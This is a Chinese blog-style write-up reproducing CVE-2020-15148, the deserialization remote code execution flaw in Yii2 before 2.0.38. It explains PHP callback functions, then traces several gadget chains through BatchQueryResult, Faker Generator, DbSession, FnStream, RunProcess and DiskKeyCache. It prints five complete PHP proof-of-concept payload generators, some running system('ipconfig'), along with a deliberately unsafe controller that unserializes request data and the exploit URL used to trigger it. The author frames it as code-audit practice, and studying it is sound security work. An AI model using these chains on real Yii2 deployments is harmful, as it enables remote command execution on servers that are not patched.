Yii2反序列化
前言
最近在刷反序列化的题的时候碰到了Yii反序列化
的题目,当时没复现,今天来复现一下。主要是想提高一下自己的代码审计的能力。
漏洞出现在yii2.0.38之前的版本中,在2.0.38进行了修复,CVE编号是CVE-2020-15148。
在开始之前,先介绍几个函数的用法
call_user_func_arry()
调用回调函数,并把一个数组参数作为回调函数的参数。
1 2
| 说明: mixed call_user_func_array ( callable $callback , array $param_arr )
|
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
返回回调函数的结果。如果出错的话就返回FALSE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php 普通使用 function a($b, $c) { echo $b; echo PHP_EOL; echo $c; } call_user_func_array('a', array("K", "ey"));
调用类的内部方法: Class ClassA {
function bc($b, $c) {
$bc = $b + $c;
echo $bc;
}
}
call_user_func_array(array('ClassA','bc'), array("111", "222"));
支持引用传递:
function a(&$b) {
$b++;
}
$c = 1;
call_user_func_array('a', array(&$c));
echo $c;
?>
|
call_user_func
call_user_func函数类似于一种特别的调用函数的方法
普通使用
1 2 3 4 5 6 7 8 9 10
| <?php function nowamagic($a,$b) { echo $a; echo $b; } call_user_func('nowamagic', "111","222"); call_user_func('nowamagic', "333","444");
?>
|
调用类的内部方法:
1 2 3 4 5 6 7 8 9 10
| <?php class a { function b($c) { echo $c; } } call_user_func(array("a", "b"),"111");
?>
|
支持引用传递:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php function a($b) { $b++; } $c = 0; call_user_func('a', $c); echo $c; call_user_func_array('a', array($c)); echo $c; ?> 另外,call_user_func函数和call_user_func_array函数都支持引用。
<?php function increment(&$var) { $var++; } $a = 0; call_user_func('increment', $a); echo $a; call_user_func_array('increment', array(&$a)); echo $a; ?>
|
关于call_user_func_array与call_user_func区别
注意:call_user_func_array 与 call_user_func 这两个函数基本上是类似的,只是在调用上传递参数时存在一些差异。
1 2 3
| 函数call_user_func_array 传递的第二个参数必须是数组; 函数call_user_func 传递的第二个参数可能是数组,如果是多个参数的话,还是需要以列表的形式列出。 call_user_func ( callback $function [,mixed $parameter [, mixed $...]] )
|
CVE-2020-15148复现
这个洞的入口在BatchQueryResult类
中的__destruct()
我们直接定位到reset()
去看一下
逻辑很简单,只要_dataReader
不为空,就进入close()
,明确一点_dataReade
我们是可控的,所以直接进入close()
里面看一下。
emmm,这里没有办法去利用啊。但是我们是不是可以去用$this->_dataReader->close();
来调用__call()
呢?
明确了这一点我们直接去全局搜索__call
来看看有没有可以利用的点
在\vendor\fzaninotto\faker\src\Faker\Generator.php
找到了一个很合适的口子
因为close
是无参方法,所以过来之后,$method
是close
,$attributes
为空。然后我们在跟进一下
哦吼,瞧瞧这是什么,call_user_func_arry()
,我们在跟进一下
如果存在$this->formatters[$formatter]
直接返回,那这里不就已经算是成功一大半了,因为$this->formatters
我们是可控的,所以getFormatter($formatter)
的返回值我们是可控的,那么整个call_user_func_array($this->getFormatter($formatter), $arguments);
我们是不是可以去控制?但是注意我们只能去控制它的回调函数,而不能控制参数,因为$arguments
为空。
那么现在我们可以调用yii框架中的任何一个无参的方法了。但是我们主要的想法事rce。所以我们要找,要找一个无参数的方法,在这个方法里面可以实现任意代码执行或者间接实现任意代码执行才行,但是我们不知道这个链子有多长很头疼,最开始我想的是把所有无参函数调出来一个一个筛呗。
搜完我傻了
原地放弃,这多坐牢啊。。。
后来才知道大师傅们是直接找的调用了call_user_func
函数的无参方法学到了学到了
构造正则:function \w+\(\) ?\n?\{(.*\n)+call_user_func
但是我用这个没搜到以为是vscode的问题后面发现在大括号前需要有空格的,然后换行符\n 之后也需要空格的,加上这两块就能够找到了。
正则:function \w*\(\)\n? *\{(.*\n)+ *call_user_func
发现有22个结果,这样就不用坐牢了
rest/IndexAction.php———POC1
最后找到了rest/CreateAction.php以及rest/IndexAction.php
这里分先分析IndexAction.php
:
主要看它的run
方法:
爽!这个太直接了。$this->checkAccess和$this->id
这两个我们都可以控制,相当于直接函数名和参数都可控了,那这条链子不就成了?
我们在捋一下这条链子:
1
| yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction -> run()
|
在详细点就是
1 2 3 4 5 6 7 8 9 10 11 12
| namespace yii\db; class BatchQueryResult -> __destruct() --> class BatchQueryResult -> reset() -->> namespace Faker; class Generator -> __call() --> class Generator -> getFormatter() -->> namespace yii\rest; class IndexAction -> run()
|
开始捏POC吧,冲!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php
namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct() { $this -> checkAccess = 'phpinfo'; $this -> id = '1'; } } } namespace Faker{ use yii\rest\IndexAction; class Generator{ public $getFormatter; protected $formatters; public function __construct(){ $this -> formatters['close'] = [new IndexAction(),'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator(); } } } namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); } ?>
|
poc捏好了,我们需要去验证一下,因为这只是个反序列化因利用链,我们需要构造一个反序列化的入口点。
首先在controllers目录下创建一个Controller
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php namespace app\controllers; use Yii; use yii\web\Controller; use yii\filters\VervFilter; use yii\filters\AccessControl; use app\models\LoginForm; class TestController extends \yii\web\Controller { public function actionSss($data){ return unserialize(base64_decode($data)); } }
?>
|
走,我们去看看能不能利用
1
| http://自己设置的路径/index.php?r=test/sss&data=[payload]
|
可以看到成功了
rest/CreateAction.php——POC2
刚刚我们看的是rest/IndexAction.php
现在我们来看rest/CreateAction.php
可以看到,我们用的还是run
,而且点也一样,$this->checkAccess和$this->id
这两个我们都可以控制。没有套路只有真诚。那直接捏POC吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct() { $this -> checkAccess = 'phpinfo'; $this -> id = '1'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ public $getFormatter; protected $formatters; public function __construct(){ $this -> formatters['close'] = [new CreateAction(),'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator(); } } } namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); } ?>
|
可以看到这个也成功了。
其他链子A
我们还从BatchQueryResult类
中的__destruct()
入手,我们知道他会去调用reset()
方法。
之前到这里我们是用$this->_dataReader->close();
来调用__call()
那么这一次我们可不可以寻找一个确实存在close方法的类,且这个类的close方法我们可以去利用呢?废话少说直接上这个类吧
来看DbSession
类里的close()
先看if
里的这个getIsActice()
emmm,没有利用的地方,但是这里进if
没什么问题,我们再看看composeFields()
爽了,真实满满的真诚啊,$this->writeCallback
我们是可控的,那么 call_user_func($this->writeCallback, $this)
调用的回调函数我们也是可控的。但是这里的$this
我们貌似没法利用,有问题吗?没有问题那我们可以带到IndexAction类里的run()方法里不就行了
??
1
| 如果传递一个数组给 call_user_func(),整个数组会当做一个参数传递给回调函数,数字的 key 还会保留住。
|
来看一下这条链子:
1 2 3 4 5 6 7
| class BatchQueryResult -> destruct() -->> class BatchQueryResult -> reset() -->> class DbSession -> close() -->> class IndexAction -> run()
|
又到了最爱的捏POC环节了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php
namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct() { $this -> checkAccess = 'phpinfo'; $this -> id = '1'; } } } namespace yii\db{ use yii\web\DbSession; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this -> _dataReader = new DbSession(); } } } namespace yii\web{ use yii\rest\IndexAction; class DbSession{ public $writeCallback; public function __construct(){ $a=new IndexAction(); $this -> writeCallback = [$a,'run']; } } } namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); } ?>
|
其他链子B
先扯个皮:
这个是我在搜全局搜close()方法
的时候无意间发现的。在yii\basic\vendor\guzzlehttp\psr7\src\FnStream.php
当时我定位到close()
方法的时候发现了个__fn_close
又看见了个这个
我靠当时我想着这不是福利也没多看直接上手捏POC去了。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct() { $this -> checkAccess = 'phpinfo'; $this -> id = '1'; } } }
namespace GuzzleHttp\Psr7{ use yii\rest\IndexAction; class FnStream{ public function __construct(){ $a=new IndexAction(); $this -> _fn_close = [$a,'run']; } } } namespace{ use GuzzleHttp\Psr7\FnStream; echo (serialize(new FnStream())); } ?>
|
思路和上面一样,直接调到run()
然后RCE
确实phpinfo
出来了,然后我就想着试下ls
,不试不知道。有个__wakeup()
。行吧,我也懒得绕了,实战里面又不确保php版本,而且肯定不止这一个思路。
扯皮结束。
然后我就想着那我再去看看其他的__destruct()
呗,因为不管有多少个__wakeup()
后面的__cal以及之后的链都是完好无损的
,所以想找一条新的链子,那就用最快的方法。再找一个__destruct()
且可以利用的,也不是盲目的去找,要找类中的一个属性调用了一个方法,而且这个属性可控,那么这就是一条新的链子。那就看一下呗。
第一个就能搞,爽了
在跟一下
看看这个$process->isRunning()
,不用跟进了。因为这里的$this->processes
是我们可控的,所以$process
也同样可控,那我们是不是可以调用isRunning()
方法,又可以触发__call
,然后继续反序列化攻击。
那么再来看看这条链子
1 2 3 4 5 6 7 8 9
| class RunProcess -> _destruct() -->> class RunProcess -> stoProcess() -->> class Generator -> __call() -->> class Generator -> getFormatter() -->> class IndexAction -> run()
|
okok,上POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this -> checkAccess = 'system'; $this -> id = 'ipconfig'; } } }
namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this -> formatters['isRunning']=[new CreateAction(),'run']; } } }
namespace Codeception\Extension{ use Faker\Generator; use PHPUnit\Framework\Constraint\GreaterThan;
class RunProcess{ private $processes = []; public function __construct(){ $this -> processes[]=new Generator(); } } }
namespace{ use Codeception\Extension\RunProcess; echo base64_encode(serialize(new RunProcess())); } ?>
|
其他链子C
还是看__destruct
,发现咯。
DiskKeyCache.php
中的Swift_KeyCache_DiskKeyCache
类也可以利用
继续跟进一下
这个地方调用不成__call
啊,坐牢,但是发现有字符拼接,那不是可以去调用__tostring
了?
搜一下
坐牢了。。。去看了看文章,有很多,我们来看看这个See.php
好家伙,看一下这里$this->description->render()
,$this->description
我们是可控的,所以可以直接可以调用__call()
。童叟无欺
我们再来看看这条链子
1 2 3 4 5 6 7
| class Swift_KeyCache_DiskKeyCache -> __destruct() --> class See -> __toString() --> class Generatot -> __call() --> class IndexAction -> run()
|
来上POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ipconfig'; } } } namespace Faker{ use yii\rest\IndexAction; class Generator{ protected $formatters; public function __construct(){ $this -> formatters['render']=[new IndexAction(),'run']; } } } namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator; class See{ protected $description; public function __construct(){ $this->description = new Generator(); } } } namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See; class Swift_KeyCache_DiskKeyCache{ private $keys=[]; private $path; public function __construct(){ $this -> path = new See(); $this -> keys = array('ID'=>'Keyond'); } } echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache())); } ?>
|
需要注意一点哈,就是php版本大于7.1
总结
这次学习yii2反序列化链的挖掘,感觉主要还是__destruct、__call、__toString
巴拉巴拉这些魔术方法的灵活使用还有就是call_user_func_array与call_user_func
的利用。